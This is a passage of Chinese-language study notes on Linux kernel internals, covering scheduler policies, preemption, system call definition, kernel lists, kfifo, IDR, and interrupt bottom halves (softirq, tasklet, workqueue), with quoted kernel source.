每个调度器都有一个优先级，程序会根据优先级遍历调度类，最高优先优先级的调度器类胜出，然后再根据调度器自身的算法去选择下一个将要执行的程序

策略	描述
SCHED_NORMAL	普通的分时进程，使用的 fair_sched_class 调度类（完全公平调度器）
SCHED_FIFO	先进先出的实时进程，当调用程序把CPU分配给进程的时候，它把该进程描述符保留在运行队列链表的当前位置，此调度策略的进程一旦使用CPU则一直运行，如果没有其他可运行的更高优先级实时进程，进程就继续使用CPU，想用多久就用多久，即使还有其他具有相同优先级的实时进程处于可运行状态，使用的是 rt_sched_class 调度类
SCHED_RR	时间片轮转的实时进程，当调度程序把CPU分配给进程的时候，它把该进程的描述符放在运行队列链表的末尾，这种策略保证对所有具有相同优先级的 SCHED_RR 实时进程进行公平分配CPU时间，使用的 rt_sched_class 调度类
SCHED_BATCH	是 SCHED_NORMAL 的分化版本，采用分时策略，根据动态优先级，分配CPU资源，在有实时进程的时候，实时进程优先调度，但针对吞吐量优化，除了不能抢占外与常规进程一样，允许任务运行更长时间，更好使用高速缓存，适合于成批处理的工作，使用的 fair_shed_class 调度类
SCHED_IDLE	优先级最低，在系统空闲时运行，使用的是 idle_sched_class 调度类，给0号进程使用
SCHED_DEADLINE	新支持的实时进程调度策略，针对突发型计算，并且对延迟和完成时间敏感的任务使用，基于 EDF（earliest deadline first），使用的是 dl_sched_class 调度类

SCHED_FIFO：实现了一种简单的先入先出的调度算法，它不使用时间片，处于 SCHED_FIFO 级的进程会比任何 SCHED_NORMAL 级的进程都要优先执行调度
SCHED_RR：SCHED_RR 和 SCHED_FIFO 大体上相同，只是 SCHED_RR 带有时间片，如果一个 SCHED_RR 任务耗尽了它的时间片，在同一优先级的其他实时进程会被轮流调度
PS：SCHED_FIFO 和 SCHED_RR 都是采用静态优先级

上下文切换&抢占

上下文切换：一个可执行进程切换到另一个可执行进程的过程（由 context_switch 函数进行处理）

context_switch 函数完成了两项基本工作：
- 调用 switch_mm，把虚拟内存从上一个进程映射切换到新进程中
- 调用 switch_to，把进程处理器状态从上一个进程切换到新进程中

用户抢占：内核从系统调用或中断处理程序即将返回用户空间的时候，如果 need resched 标志被设置，会导致 schedule，此时就会发生用用户抢占

用户抢占的发生场景：
- 从系统调用返回用户空间
- 从中断处理程序返回用户空间

内核抢占：Linux 支持内核抢占（对于不支持内核抢占的程序，内核代码会一直执行，直到它完成为止），内核会检查 need resched 和 preempt_count 的值

内核抢占的发生场景：
- 中断处理程序正在执行，且返回内核空间之前
- 内核代码再一次具有可抢占性
- 内核中的任务显式地调用 schedule
- 内核中的任务阻塞（这同样也会调用 schedule）
preempt_count 简述：
- preempt_count 初始化为“0”，每当使用锁时数值加“1”，释放锁时数值减“1”
- 当 preempt_count 为“0”时，说明有一个更为重要的任务需要执行并且可以抢占
- 当 preempt_count 不为“0”时，说明内核不能安全抢占该进程

系统调用

简单来说，系统调用就是用户程序和硬件设备之间的桥梁，用户程序在需要的时候，通过系统调用来使用硬件设备

系统调用的存在，有以下重要的意义：

用户程序通过系统调用来使用硬件，而不用关心具体的硬件设备，这样大大简化了用户程序的开发
系统调用使得用户程序有更好的可移植性
系统调用使得内核能更好的管理用户程序，增强了系统的稳定性
系统调用有效的分离了用户程序和内核的开发

用户程序，系统调用，内核，硬件设备的调用关系如下图：

要想实现系统调用，主要实现以下几个方面：

通知内核调用一个哪个系统调用（系统调用号）
用户程序把系统调用的参数传递给内核（前5个参数放在 [ebx,ecx,edx,esi,edi] 中，如果参数多的话，还需要用个单独的寄存器存放指向所有参数在用户空间地址的指针）
用户程序获取内核返回的系统调用返回值（获取系统调用的返回值也是通过寄存器，在x86系统上，返回值放在 [eax] 中）

Linux 系统调用的实现

Linux 采用 SYSCALL_DEFINEx 来定义一个系统调用（“x”代表该系统调用的参数个数）

例如：

/* pipe()系统调用底层 */
SYSCALL_DEFINE1(pipe, int __user *, fildes) 
{
	return do_pipe2(fildes, 0);
}

源码：

#define SYSCALL_DEFINE1(name, ...) SYSCALL_DEFINEx(1, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE2(name, ...) SYSCALL_DEFINEx(2, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE3(name, ...) SYSCALL_DEFINEx(3, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE4(name, ...) SYSCALL_DEFINEx(4, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE5(name, ...) SYSCALL_DEFINEx(5, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE6(name, ...) SYSCALL_DEFINEx(6, _##name, __VA_ARGS__)

#define SYSCALL_DEFINE_MAXARGS	6

#define SYSCALL_DEFINEx(x, sname, ...)				\
	SYSCALL_METADATA(sname, x, __VA_ARGS__)			\
	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)

#ifndef __SYSCALL_DEFINEx
#define __SYSCALL_DEFINEx(x, name, ...)					\
	__diag_push();							\
	__diag_ignore(GCC, 8, "-Wattribute-alias",			\
		      "Type aliasing is used to sanitize syscall arguments");\
	asmlinkage long sys##name(__MAP(x,__SC_DECL,__VA_ARGS__))	\
		__attribute__((alias(__stringify(__se_sys##name))));	\
	ALLOW_ERROR_INJECTION(sys##name, ERRNO);			\
	static inline long __do_sys##name(__MAP(x,__SC_DECL,__VA_ARGS__));\
	asmlinkage long __se_sys##name(__MAP(x,__SC_LONG,__VA_ARGS__));	\
	asmlinkage long __se_sys##name(__MAP(x,__SC_LONG,__VA_ARGS__))	\
	{								\
		long ret = __do_sys##name(__MAP(x,__SC_CAST,__VA_ARGS__));\
		__MAP(x,__SC_TEST,__VA_ARGS__);				\
		__PROTECT(x, ret,__MAP(x,__SC_ARGS,__VA_ARGS__));	\
		return ret;						\
	}								\
	__diag_pop();							\
	static inline long __do_sys##name(__MAP(x,__SC_DECL,__VA_ARGS__))
#endif /* __SYSCALL_DEFINEx */

这个宏定义真是天书，给个博客参考一下：SYSCALL_DEFINEx宏源码解析)
最后还要把新定义的系统调用添加到系统调用表里面

系统调用参数传递

x86-32 系统：

不超过6个：ebx，ecx，edx，esi，edi，ebp 按照顺序存放前6个参数
超过6个：全部参数应该依次放在一块连续的内存区域里，同时在寄存器 ebx 中保存指向该内存区域的指针

x86-64 系统：

RDI、RSI、RDX、RCX、R8、R9 这6个寄存器依次对应第1参数到第6个参数

内核数据结构

Linux 中4个基本的内核数据结构：链表，队列，映射，红黑树

链表

有个单独的头节点（head）
每个节点（node）除了包含必要的数据之外，还有2个指针（pre,next）
pre 指针指向前一个节点（node），next 指针指向后一个节点（node）
头节点（head）的 pre 指针指向链表的最后一个节点
最后一个节点的 next 指针指向头节点（head）

其实就是把数据放在前面了而已

单向链表&双向链表：

struct list_element{
	void *data;
    struct list_element *next;
    struct list_element *prev;
}

环形链表：

环形链表的节点和双向链表相同，但是最后一个元素指向第一个元素
有一个特殊的指针（头指针）始终指向头节点，利用该指针可以快速查找链表的“起始端”
Linux 内核的标准链表就是采用的环形链表

Linux 中链表的实现

Linux 不是将数据结构塞入链表，而是将链表节点塞入数据结构

其数据结构很简单：

1
2
3

struct list_head {
	struct list_head *next, *prev;
};

内核中添加链表的操作如下：

static inline void list_add_tail(struct list_head *_new, struct list_head *head)
{
    // @new:要添加的新条目
    // @head:目标结点(将new添加到它之前)
	__list_add(_new, head->prev, head); 
}

static inline void __list_add(struct list_head *_new, struct list_head *prev,
			      struct list_head *next)
{
	next->prev = _new;
	_new->next = next;
	_new->prev = prev;
	prev->next = _new;
}

因为 list_add_tail 只接收 list_head 为参数，链表也只能查找到 list_head 的地址
所以需要一个宏定义来通过 list_head 快速定位父类型结构体：

#define container_of(ptr, type, member)                                        \
	({                                                                     \
		const typeof(((type *)0)->member) *__mptr = (ptr);             \
		(type *)((char *)__mptr - offsetof(type, member));             \
	})

使用 container_of 宏，我们可以定义一个简单的宏函数来返回包含 list_head 的父类型结构体的起始地址：

1 2	#define list_entry(ptr, type, member) container_of(ptr, type, member) #define offsetof(TYPE, MEMBER) ((size_t) & ((TYPE *)0)->MEMBER)

依靠 list_entry ，内核提供了创建，操作以及其他链表管理的各种例程（所有这些方法都不需要考虑 list_head 在父类型结构体中的位置）
通过 offsetof ，内核可以快速查看某个结构条目在该父类型结构体中的偏移
PS：对于 container_of 的计算过程可以参考一下这篇博客 => container of()函数简介

Linux 中对链表的其他操作如下：

1
2

static inline void list_add_tail(struct list_head *_new, struct list_head *head) /* 插链(将new添加到head之前) */
static inline void list_del(struct list_head *entry) /* 脱链(直接把entry脱链) */

队列

内核中的队列是以字节形式保存数据的，所以获取数据的时候，需要知道数据的大小，如果从队列中取得数据时指定的大小不对的话，取得数据会不完整或过大

队列是限制在两端进行插入操作和删除操作的线性表，允许进行存入操作的一端称为“队尾”，允许进行删除操作的一端称为“队头”
当线性表中没有元素时，称为“空队”
特点：先进先出（FIFO）

常规的队列有如下两种：

顺序队列：建立顺序队列结构必须为其静态分配或动态申请一片连续的存储空间，并设置两个指针进行管理
- 队头指针 front，它指向队头元素
- 队尾指针 rear，它指向下一个入队元素的存储位置

链式队列：一个链队列显然需要两个分别指示队头和队尾的指针（分别成为头指针和尾指针）才能唯一确定
- 空的链队列的判决条件为头指针和尾指针均指向头节点

Linux 中队列的实现

Linux 中的通用队列被称为 kfifo，提供了两个主要操作：enqueue（入队列）和 dequeue（出队列）

用于管理 kfifo 的结构体如下：

struct __kfifo {
	unsigned int	in; /* 队列入口(写位置的“逻辑偏移量”) */
	unsigned int	out; /* 队列出口(读位置的“逻辑偏移量”) */
	unsigned int	mask; /* 为了后续优化 */
	unsigned int	esize; /* 队列中每个元素所占用的字节数 */
	void		*data; /* 指向数据的指针 */
};

创建队列 kfifo_alloc：

#define kfifo_alloc(fifo, size, gfp_mask) \
__kfifo_int_must_check_helper( \
({ \
	typeof((fifo) + 1) __tmp = (fifo); \
	struct __kfifo *__kfifo = &__tmp->kfifo; \
	__is_kfifo_ptr(__tmp) ? \
	__kfifo_alloc(__kfifo, size, sizeof(*__tmp->type), gfp_mask) : \
	-EINVAL; \
}) \
)

该函数创建并初始化一个大小为 size 的 kfifo（内核使用 gfp_mask 来标识分配队列）
该函数的核心还是调用 __kfifo_alloc，在其中会自动分配 buffer

int __kfifo_alloc(struct __kfifo *fifo, unsigned int size,
		size_t esize, gfp_t gfp_mask)
{
	size = roundup_pow_of_two(size);
	fifo->in = 0;
	fifo->out = 0;
	fifo->esize = esize;
    
	if (size < 2) {
		fifo->data = NULL;
		fifo->mask = 0;
		return -EINVAL;
	}
	fifo->data = kmalloc_array(esize, size, gfp_mask);

	if (!fifo->data) {
		fifo->mask = 0;
		return -ENOMEM;
	}
	fifo->mask = size - 1;

	return 0;
}
EXPORT_SYMBOL(__kfifo_alloc);

创建队列 kfifo_init：

#define kfifo_init(fifo, buffer, size) \
({ \
	typeof((fifo) + 1) __tmp = (fifo); \
	struct __kfifo *__kfifo = &__tmp->kfifo; \
	__is_kfifo_ptr(__tmp) ? \
	__kfifo_init(__kfifo, buffer, size, sizeof(*__tmp->type)) : \
	-EINVAL; \
})

该函数创建并初始化一个 kfifo 对象，它将使用由指针 buffer 指向的 size 字节大小的内存
该函数的核心还是调用 __kfifo_init，并为该 buffer 初始化 __kfifo

int __kfifo_init(struct __kfifo *fifo, void *buffer,
		unsigned int size, size_t esize)
{
	size /= esize;
	size = roundup_pow_of_two(size);

	fifo->in = 0;
	fifo->out = 0;
	fifo->esize = esize;
	fifo->data = buffer;

	if (size < 2) {
		fifo->mask = 0;
		return -EINVAL;
	}
	fifo->mask = size - 1;

	return 0;
}

Linux 中对队列的其他操作如下：

#define	kfifo_in(fifo, buf, n) /* 向队列fifo中推入n字节的buf */
#define	kfifo_out(fifo, buf, n) /* 向队列fifo中摘取n字节的buf */
#define kfifo_size(fifo) /* 获取队列长度(使用__kfifo->mask) */
#define kfifo_reset(fifo) /* 重置fifo(放弃该fifo中的所有数据) */
#define kfifo_free(fifo) /* 释放一个使用kfifo_alloc分配的队列(对于使用kfifo_init生成的队列,需要手动释放自己提供的buffer) */

映射

映射（也称为关联数组）是实现（key，value）绑定的一种数据结构（有点像其他语言中的字典类型），每个唯一的ID对应一个自定义的数据结构

映射需要至少支持三个操作：

Add（key，value）
Remove（key）
value = Lookup（key）

在 Linux 中的映射的目的是绑定一个标识数（UID）到一个指针，使用计算就是整数ID管理机制（IDR）

IDR 是用于将 uid 和一个数据地址进行绑定的一种映射
IDR 把每一个ID分级数据进行管理，每一级维护着ID的5位数据，这样就可以把IDR分为7级进行管理
IDR 底层使用了 redix 树

IDR 怎么对于数据ID管理呢？传统上我们对于未使用的ID进行管理的时候可以使用位图进行管理，也可以使用数组进行管理，也可以使用链表进行ID管理，三个个各有优缺点：

使用位图进行管理：使用空间少，但是对于位图对应的数据结构支持不太友好
使用数组进行管理：寻址快速，但是只能管理比较少量的ID数目
使用链表进行管理：可以支持大量的数据ID，但是通过链表的指针寻址比较慢

而 IDR 管理可以集合以上3者的优点：

Linux 中映射的实现

以下结构体用于映射用户空间的 UID：

struct idr {
	struct radix_tree_root	idr_rt;
	unsigned int		idr_base;
	unsigned int		idr_next;
};

static inline struct radix_tree_root *
xfs_dquot_tree(
	struct xfs_quotainfo	*qi,
	int			type)
{
	switch (type) {
	case XFS_DQ_USER:
		return &qi->qi_uquota_tree;
	case XFS_DQ_GROUP:
		return &qi->qi_gquota_tree;
	case XFS_DQ_PROJ:
		return &qi->qi_pquota_tree;
	default:
		ASSERT(0);
	}
	return NULL;
}

struct idr 类于 list_head，用于管理 IDR 整个树的信息
其中最关键的是 radix_tree_root，它是 Linux 内核 Radix Tree 的基础数据结构
Linux 整数ID管理机制（IDR）的底层算法就是 Radix Tree，每个 idr 都是被 Radix Tree 组织起来的一个个单元，通过 Radix Tree 可以快速查找到各个 idr

初始化一个 idr：（需要提前定义静态的 idr 结构）

static inline void idr_init(struct idr *idr)
{
	idr_init_base(idr, 0);
}

static inline void idr_init_base(struct idr *idr, int base)
{
	INIT_RADIX_TREE(&idr->idr_rt, IDR_RT_MARKER);
	idr->idr_base = base;
	idr->idr_next = 0;
}

分配一个 idr：（把一个 UID 分配给目标 idr，需要两个步骤）

调整后备树的大小：（为下一次调用 idr_alloc() 预分配内存）

void idr_preload(gfp_t gfp_mask)
{
	if (__radix_tree_preload(gfp_mask, IDR_PRELOAD_SIZE))
		preempt_disable();
}
EXPORT_SYMBOL(idr_preload);

在 @start 和 @end 指定的范围内分配一个未使用的ID：

int idr_alloc(struct idr *idr, void *ptr, int start, int end, gfp_t gfp)
{
    /*
     * @idr: IDR句柄
     * @ptr: 与新ID关联的指针
     * @start: 最小ID
     * @end: 最大ID
     * @gfp: 内存分配标志
     */
	u32 id = start;
	int ret;

	if (WARN_ON_ONCE(start < 0))
		return -EINVAL;

	ret = idr_alloc_u32(idr, ptr, &id, end > 0 ? end - 1 : INT_MAX, gfp);
	if (ret)
		return ret;

	return id;
}
EXPORT_SYMBOL_GPL(idr_alloc);

查找一个 idr：

void *idr_find(const struct idr *idr, unsigned long id)
{
	return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}
EXPORT_SYMBOL_GPL(idr_find);

void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
	return __radix_tree_lookup(root, index, NULL, NULL);
}
EXPORT_SYMBOL(radix_tree_lookup);

void *__radix_tree_lookup(const struct radix_tree_root *root,
			  unsigned long index, struct radix_tree_node **nodep,
			  void __rcu ***slotp)
{
    /*
     *	@root:	基数树根
     *	@index:	索引键
     *	@nodep:	返回节点
     *	@slotp:	返回插槽
     */
	struct radix_tree_node *node, *parent;
	unsigned long maxindex;
	void __rcu **slot;

 restart:
	parent = NULL;
	slot = (void __rcu **)&root->xa_head;
	radix_tree_load_root(root, &node, &maxindex);
	if (index > maxindex)
		return NULL;

	while (radix_tree_is_internal_node(node)) {
		unsigned offset;

		parent = entry_to_node(node);
		offset = radix_tree_descend(parent, &node, index);
		slot = parent->slots + offset;
		if (node == RADIX_TREE_RETRY)
			goto restart;
		if (parent->shift == 0)
			break;
	}

	if (nodep)
		*nodep = parent;
	if (slotp)
		*slotp = slot;
	return node;
}

如果该函数调用成功，则返回 ID 关联的指针
如果报错，则返回 NULL

删除一个 idr：

void *idr_remove(struct idr *idr, unsigned long id)
{
	return radix_tree_delete_item(&idr->idr_rt, id - idr->idr_base, NULL);
}

void *radix_tree_delete_item(struct radix_tree_root *root,
			     unsigned long index, void *item)
{
	struct radix_tree_node *node = NULL;
	void __rcu **slot = NULL;
	void *entry;

	entry = __radix_tree_lookup(root, index, &node, &slot);
	if (!slot)
		return NULL;
	if (!entry && (!is_idr(root) || node_tag_get(root, node, IDR_FREE,
						get_slot_offset(node, slot))))
		return NULL;

	if (item && entry != item)
		return NULL;

	__radix_tree_delete(root, node, slot);

	return entry;
}
EXPORT_SYMBOL(radix_tree_delete_item);

如果 idr_remove 调用成功，则将 ID 关联的指针一起从映射中删除
返回被删除的条目，如果不存在则返回 NULL

撤销一个 idr：

void idr_destroy(struct idr *idr)
{
	struct radix_tree_node *node = rcu_dereference_raw(idr->idr_rt.xa_head);
	if (radix_tree_is_internal_node(node))
		radix_tree_free_nodes(node);
	idr->idr_rt.xa_head = NULL;
	root_tag_set(&idr->idr_rt, IDR_FREE);
}
EXPORT_SYMBOL(idr_destroy);

如果 idr_destroy 调用成功，则只释放 idr 中未使用的内存，并不会释放当前已经分配给 UID 使用的内存

参考：linux内核IDR机制详解

红黑树

红黑树是对概念模型2-3-4树的一种实现，由于直接进行不同节点间的转化会造成较大的开销，所以选择以二叉树为基础，在二叉树的属性中加入一个 颜色属性 来表示2-3-4树中不同的节点

红黑规则：

节点不是黑色，就是红色（非黑即红）
根节点为黑色，叶节点为黑色（叶节点是指末梢的空节点 Nil或Null）
一个节点为红色，则其两个子节点必须是黑色的（根到叶子的所有路径，不可能存在两个连续的红色节点）
每个节点到叶子节点的所有路径，都包含相同数目的黑色节点（相同的黑色高度）

在插链的过程中，可能会破坏这些规则，这就需要一些机制来恢复平衡：

中断处理

为了提高CPU和外围硬件（硬盘，键盘，鼠标等等）之间协同工作的性能，引入了中断的机制，中断是一种电信号，由硬件设备产生，并直接送入中断控制器的输入引脚中，中断机制是硬件在需要的时候向CPU发出信号，CPU暂时停止正在进行的工作来处理硬件请求

异步中断（一般由硬件引起）：CPU 处理中断的时间过长，所以先将硬件复位，使硬件可以继续自己的工作，然后在适当时候处理中断请求中耗时的部分
同步中断：CPU 处理完中断请求的所有工作后才反馈硬件

硬中断

由与系统相连的外设（比如网卡、硬盘）自动产生的，主要是用来通知操作系统系统外设状态的变化（比如当网卡收到数据包的时候，就会发出一个硬中断）

为了在中断执行时间尽可能短和中断处理需完成大量工作之间找到一个平衡点，Linux 将中断处理程序分解为两个半部：上半部（top half）和下半部（bottom half）：

顶半部完成尽可能少的比较紧急的功能，它往往只是 简单地读取寄存器中的中断状态并清除中断标志后就进行“登记中断”的工作
- “登记中断”：将底半部处理程序挂到该设备的执行队列中去
底半部负责执行中断处理程序，它来完成中断事件的绝大多数任务，而且可以被新的中断打断
顶半部往往被设计成不可中断，底半部则相对来说并不是非常紧急的，而且相对比较耗时，不在硬件中断服务程序中执行，所以可以打断

简单来说就是：

上半部：登记中断，把底半部处理程序挂到该设备的执行队列中，不可中断必须立刻完成
下半部：负责中断处理程序的具体实现，可中断（可以稍后完成）

上半部由硬中断完成，实现下半部的方法很多，目前使用最多的是以下3中方法：

softirq 软中断
tasklet 小片任务
工作队列

硬中断和软中断的区别

软中断是执行中断指令产生的，而硬中断是由外设引发的
硬中断的中断号是由中断控制器提供的，软中断的中断号由指令直接指出，无需使用中断控制器
硬中断是可屏蔽的，软中断不可屏蔽
硬中断处理程序要确保它能快速地完成任务，这样程序执行时才不会等待较长时间，称为 [上半部]
软中断处理硬中断未完成的工作，是一种推后执行的机制，属于 [下半部]

softirq 软中断

软中断的流程如下：

软中断是在编译期间静态分配的，它不像 tasklet 那样能被动态地注册或注销，软中断由 softirq_action 结构体表示：

struct softirq_action
{
	void	(*action)(struct softirq_action *);
};

这个结构体的字段是个函数指针，字段名称是 action
函数指针的参数是 struct softirq_action 的地址，其实就是指向 softirq_vec 中的某一项：
- 如果 open_softirq 是这样调用的：open_softirq(NET_TX_SOFTIRQ, my_tx_action)
- 那么 my_tx_action 的参数就是：softirq_vec[NET_TX_SOFTIRQ] 的地址

注册软中断的函数 open_softirq：

void open_softirq(int nr, void (*action)(struct softirq_action *))
{
    // nr: 软中断类型
    // (*action)(struct softirq_action *: 软中断处理程序的函数指针
    softirq_vec[nr].action = action; /* softirq_vec是个softirq_action类型的数组 */
}

将软中断类型和软中断处理函数加入到软中断序列中

触发软中断的函数 raise_softirq：（属于上半部）

void raise_softirq(unsigned int nr) /* 被触发的中断类型 */
{
    unsigned long flags;

    local_irq_save(flags); /* 保存寄存器 */
    raise_softirq_irqoff(nr); /* 触发软中断 */
    local_irq_restore(flags); /* 恢复寄存器 */
}

inline void raise_softirq_irqoff(unsigned int nr)
{
	__raise_softirq_irqoff(nr);

	if (!in_interrupt())
		wakeup_softirqd(); /* 唤醒ksoftirqd(内核线程),用于辅助处理软中断 */
}

关于 ksoftirqd 机制，后文会介绍

#define or_softirq_pending(x)  (S390_lowcore.softirq_pending |= (x))

void __raise_softirq_irqoff(unsigned int nr)
{
	trace_softirq_raise(nr);
	or_softirq_pending(1UL << nr); /* 操作触发'软中断类型'的bit位为1 */
}

raise_softirq 通过把 [软中断类型位图] 的对应为置为“1”来传递 [被触发的中断类型]

执行软中断的函数 do_softirq：

asmlinkage __visible void do_softirq(void)
{
    __u32 pending;
    unsigned long flags;

    if (in_interrupt()) /* 判断是否在中断处理中，如果正在中断处理，就直接返回 */
        return;

    local_irq_save(flags); /* 保存当前寄存器的值 */
    pending = local_softirq_pending(); /* 取得获取软中断类型位图 */

    if (pending) /* 循环处理所有已注册的软中断 */
        __do_softirq();

    local_irq_restore(flags); /* 恢复寄存器的值到中断处理前 */
}

只要软中断类型位图 softirq pending 有一位不为“0”，就证明至少有一种软中断需要被处理，然后就会调用 __do_softirq

tasklet 小片任务

tasklet 也是利用软中断来实现的

tasklet 提供了比软中断更好用的接口（其实就是基于软中断又封装了一下）
tasklet 支持动态地注册或注销

所以除了对性能要求特别高的情况，一般建议使用 tasklet 来实现自己的中断

struct tasklet_struct
{
    struct tasklet_struct *next; /* 链表中的下一个tasklet */
    unsigned long state;         /* tasklet状态 */
    atomic_t count;              /* 引用计数器 */
    void (*func)(unsigned long); /* tasklet处理函数 */
    unsigned long data;          /* tasklet处理函数的参数 */
};

已经注册了的 tasklet 由两个数据结构来组织：（两个都是 tasklet_struct 链表）

struct tasklet_head {
	struct tasklet_struct *head;
	struct tasklet_struct **tail;
};
static DEFINE_PER_CPU(struct tasklet_head, tasklet_vec); /* 普通 */
static DEFINE_PER_CPU(struct tasklet_head, tasklet_hi_vec); /* 优先 */

分别由 tasklet_schedule 和 tasklet_hi_schedule 函数进行调度：

void __tasklet_schedule(struct tasklet_struct *t)
{
	__tasklet_schedule_common(t, &tasklet_vec,
				  TASKLET_SOFTIRQ);
}
EXPORT_SYMBOL(__tasklet_schedule);

void __tasklet_hi_schedule(struct tasklet_struct *t)
{
	__tasklet_schedule_common(t, &tasklet_hi_vec,
				  HI_SOFTIRQ);
}
EXPORT_SYMBOL(__tasklet_hi_schedule);

static void __tasklet_schedule_common(struct tasklet_struct *t,
				      struct tasklet_head __percpu *headp,
				      unsigned int softirq_nr)
{
	struct tasklet_head *head;
	unsigned long flags;

	local_irq_save(flags); /* 关闭本地cpu中断 */
	head = this_cpu_ptr(headp); /* 获取对应的tasklet_struct链表头 */
	t->next = NULL; 
	*head->tail = t; /* 把新的tasklet_struct插入链表尾 */
	head->tail = &(t->next);
	raise_softirq_irqoff(softirq_nr); /* 调用对应的软中断 */
	local_irq_restore(flags); /* 恢复本地中断传递到给定的状态 */
}

所有的 tasklet 都通过重复调用 TASKLET_SOFTIRQ 和 HI_SOFTIRQ 两个软中断来实现
当一个 tasklet 被调度时，内核会唤起这两个软中断中的一个，然后执行特定的函数，执行所有已调度的 tasklet

静态创建一个 tasklet（直接引用）：

#define DECLARE_TASKLET(name, func, data)                                      \
	struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(0), func, data }

#define DECLARE_TASKLET_DISABLED(name, func, data)                             \
	struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(1), func, data }

这两个宏都能根据给定的名称静态地创建一个 tasklet_struct 结构
两个宏的区别在于：
- DECLARE_TASKLET 设置引用计数器为“0”，该 tasklet 处于激活状态
- DECLARE_TASKLET_DISABLED 设置引用计数器为“1”，该 tasklet 处于禁止状态

动态创建一个 tasklet（间接引用）：

void tasklet_init(struct tasklet_struct *t,
		  void (*func)(unsigned long), unsigned long data)
{
	t->next = NULL;
	t->state = 0;
	atomic_set(&t->count, 0); /* 设置原子变量的值(引用计数器设置为"0") */
	t->func = func;
	t->data = data;
}
EXPORT_SYMBOL(tasklet_init);

其作用就是初始化一个 tasklet_struct

禁止一个 tasklet（暂缓）：

static inline void tasklet_disable(struct tasklet_struct *t)
{
	tasklet_disable_nosync(t);
	tasklet_unlock_wait(t); /* 等待正在执行的tasklet执行完成 */
	smp_mb();
}

如果该 tasklet 正在执行，这个函数就会等到它执行完毕后再返回

禁止一个 tasklet（立刻）：

static inline void tasklet_disable_nosync(struct tasklet_struct *t)
{
	atomic_inc(&t->count);
	smp_mb__after_atomic();
}

如果该 tasklet 正在执行，这个函数也会立刻终止该 tasklet（这样做会丧失许多安全性）

启用一个禁止的 tasklet：

static inline void tasklet_enable(struct tasklet_struct *t)
{
	smp_mb__before_atomic();
	atomic_dec(&t->count);
}

删除一个 tasklet：

void tasklet_kill(struct tasklet_struct *t)
{
	if (in_interrupt())
		pr_notice("Attempt to kill tasklet from interrupt\n");

	while (test_and_set_bit(TASKLET_STATE_SCHED, &t->state)) {
		do {
			yield();
		} while (test_bit(TASKLET_STATE_SCHED, &t->state));
	}
	tasklet_unlock_wait(t); /* 等待正在执行的tasklet执行完成 */
	clear_bit(TASKLET_STATE_SCHED, &t->state);
}
EXPORT_SYMBOL(tasklet_kill);

ksoftirqd 对 softirq 和 tasklet 的优化

当大量软中断出现时（tasklet 底层也是软中断），内核会唤醒一组内核线程来处理这些软中断，这些线程的名称都是 ksoftirqd/n

一旦这些线程初始化，就会执行类似于以下代码的死循环：

for(;;){
	if(!softirq_pending(cpu)) /* 没有发现软中断,则重新调度 */
        schedule();
    
    set_current_state(TASK_RUNNING);
    
    while(softirq_pending(cpu)){ /* 发现软中断,则执行do_softirq处理软中断 */
        do_softirq();
        if(need_resched())
            schedule();
    }
}

工作队列

工作队列子系统是一个 用于创建内核线程的接口，通过它可以创建一个“工作者线程”来专门处理中断的下半部工作（这些工作者线程就叫做 events/n），它在进程的上下文中运行，可以重新调度和睡眠

工作队列和 tasklet 不一样，不是基于软中断来实现的

工作队列主要用到下面几个结构体：

/* 在include/linux/workqueue.h文件中定义 */
struct work_struct {
    atomic_long_t data;             /* 这个并不是处理函数的参数,而是表示此work是否pending等状态的flag */
    
    struct list_head entry;         /* 中断下半部处理函数的链表 */
    work_func_t func;               /* 处理中断下半部工作的函数 */
#ifdef CONFIG_LOCKDEP
    struct lockdep_map lockdep_map;
#endif
};

/* 也是在kernel/workqueue.c文件中定义的
 * 每个workqueue_struct表示一种工作者类型,系统默认的就是events工作者类型
 * 每个工作者类型一般对应n个工作者线程,n就是处理器的个数
 */
struct workqueue_struct {
	struct list_head	pwqs;		/* WR: all pwqs of this wq */
	struct list_head	list;		/* PR: list of all workqueues */

	struct mutex		mutex;		/* protects this wq */
	int			work_color;	/* WQ: current work color */
	int			flush_color;	/* WQ: current flush color */
	atomic_t		nr_pwqs_to_flush; /* flush in progress */
	struct wq_flusher	*first_flusher;	/* WQ: first flusher */
	struct list_head	flusher_queue;	/* WQ: flush waiters */
	struct list_head	flusher_overflow; /* WQ: flush overflow list */

	struct list_head	maydays;	/* MD: pwqs requesting rescue */
	struct worker		*rescuer;	/* I: rescue worker */

	int			nr_drainers;	/* WQ: drain in progress */
	int			saved_max_active; /* WQ: saved pwq max_active */

	struct workqueue_attrs	*unbound_attrs;	/* PW: only for unbound wqs */
	struct pool_workqueue	*dfl_pwq;	/* PW: only for unbound wqs */

#ifdef CONFIG_SYSFS
	struct wq_device	*wq_dev;	/* I: for sysfs interface */
#endif
#ifdef CONFIG_LOCKDEP
	struct lockdep_map	lockdep_map;
#endif
	char			name[WQ_NAME_LEN]; /* I: workqueue name */
	struct rcu_head		rcu;

	/* hot fields used during command issue, aligned to cacheline */
	unsigned int		flags ____cacheline_aligned; /* WQ: WQ_* flags */
	struct pool_workqueue __percpu *cpu_pwqs; /* I: per-cpu pwqs */
	struct pool_workqueue __rcu *numa_pwq_tbl[]; /* PWR: unbound pwqs indexed by node */
};

worker_thread - 工作线程的处理函数：

/* 工作线程函数,所有工人都属于一个工人池,要么是每cpu的,要么是动态的未绑定的
   这些工作人员处理所有工作项,而不考虑其特定的目标工作队列
   唯一的例外是属于"救援人员"的工作队列的工作项,定义在rescuer_thread()中 */
static int worker_thread(void *__worker)
{
	struct worker *worker = __worker;
	struct worker_pool *pool = worker->pool;

	/* tell the scheduler that this is a workqueue worker */
	set_pf_worker(true);
woke_up:
	spin_lock_irq(&pool->lock);

	/* am I supposed to die? */
	if (unlikely(worker->flags & WORKER_DIE)) {
		spin_unlock_irq(&pool->lock);
		WARN_ON_ONCE(!list_empty(&worker->entry));
		set_pf_worker(false);

		set_task_comm(worker->task, "kworker/dying"); /* 设置worker->task的值 */
		ida_simple_remove(&pool->worker_ida, worker->id);
		worker_detach_from_pool(worker);
		kfree(worker);
		return 0;
	}

